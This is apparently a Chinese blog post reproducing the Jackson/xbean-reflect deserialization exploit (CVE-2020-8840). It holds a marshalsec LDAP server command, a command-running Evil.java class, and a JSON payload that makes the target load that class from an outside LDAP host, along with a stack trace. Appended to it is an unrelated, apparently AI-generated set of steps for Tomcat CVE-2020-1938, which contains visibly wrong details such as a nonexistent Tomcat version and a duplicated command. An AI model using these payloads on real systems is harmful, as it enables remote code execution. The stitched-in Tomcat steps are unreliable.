CVE-2020-8840复现(xbean-reflect利用链)

CVE-2020-8840复现(xbean-reflect利用链)

搭建环境

下载marshalsec并编译,启动jndi环境

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer https://www.youi.xin/#Evil

编写Evil.java,内容如下:

public class Evil {
    public Evil(){
        try{
            Runtime.getRuntime().exec("cmd.exe \c calc");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Evil e = new Evil();
    }
}

编译为class文件,并放到WEB中

javac Evil.java

漏洞演示

poc如下:
[“org.apache.xbean.propertyeditor.JndiConverter”, {“asText”:“ldap://47.100.32.193:1389/Evil”}]
漏洞演示:

package xin.youi;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class Main {

    public static void main(String[] args) {
	// write your code here
         ObjectMapper mapper = new ObjectMapper();
         mapper.enableDefaultTyping();
         String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://47.100.32.193:1389/Evil\"}]";
         try {
             mapper.readValue(json,Object.class);
         } catch (IOException e){
             e.printStackTrace();
         }
    }
}

结果:
在这里插入图片描述

遇到的问题

在使用jdk8复现时出现了如下异常

com.fasterxml.jackson.databind.JsonMappingException: javax.naming.Reference cannot be cast to javax.naming.Context
 at [Source: (String)"["org.apache.xbean.propertyeditor.JndiConverter", {"asText":"ldap://47.100.32.193:1389/Evil"}]"; line: 1, column: 61] (through reference chain: org.apache.xbean.propertyeditor.JndiConverter["asText"])
	at com.fasterxml.jackson.databind.JsonMappingException.from(JsonMappingException.java:278)
	at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:611)
	at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:599)
	at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:143)
	at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserialize(BeanDeserializer.java:288)
	at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:151)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:116)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromAny(AsArrayTypeDeserializer.java:71)
	at com.fasterxml.jackson.databind.deser.std.UntypedObjectDeserializer$Vanilla.deserializeWithType(UntypedObjectDeserializer.java:712)
	at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:68)
	at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4013)
	at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3004)
	at xin.youi.Main.main(Main.java:14)
Caused by: java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.naming.Context
	at org.apache.xbean.propertyeditor.JndiConverter.toObjectImpl(JndiConverter.java:35)
	at org.apache.xbean.propertyeditor.AbstractConverter.toObject(AbstractConverter.java:86)
	at org.apache.xbean.propertyeditor.AbstractConverter.setAsText(AbstractConverter.java:59)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:141)
	... 9 more

后来发现

jdk8的classloader为sun.misc.Launcher$AppClassLoader

jdk9的classloader为jdk.internal.loader.ClassLoaders$AppClassLoader

就报错信息看是在调用Method.invoke时导致错误(具体原因不明)
换成JDK9后成功。

复现Tomact_CVE-2020-1938漏洞,可以按照以下步骤进行操作: 1. 下载POC:可以使用以下命令下载POC文件: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 2. 在攻击机上搭建环境:确保攻击机上已经安装了Tomcat服务器,并且版本在3.4.3以下,可以使用以下命令下载并安装Tomcat 3.4.3版本: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 3. 配置Tomcat服务器:在Tomcat安装目录下,找到server.xml文件,在<Connector>标签中添加以下内容: protocol="org.apache.coyote.ajp.AjpNio2Protocol" secretRequired="false" 4. 启动Tomcat服务器:在Tomcat安装目录下运行启动脚本,如./catalina.sh run 5. 复现漏洞:使用以下命令触发漏洞复现: python3 file_include.py -u http://目标IP:目标端口/ -p /WEB-INF/web.xml 以上步骤可以帮助你复现Tomact_CVE-2020-1938漏洞。请注意,在进行漏洞复现时务必遵守道德规范,并获得合法授权进行测试。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [CVE-2020-1938 漏洞复现](https://blog.csdn.net/weixin_48799157/article/details/124889366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [CVE-2020-1938 Tomcat文件包含漏洞复现](https://blog.csdn.net/qq_49279082/article/details/129018726)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值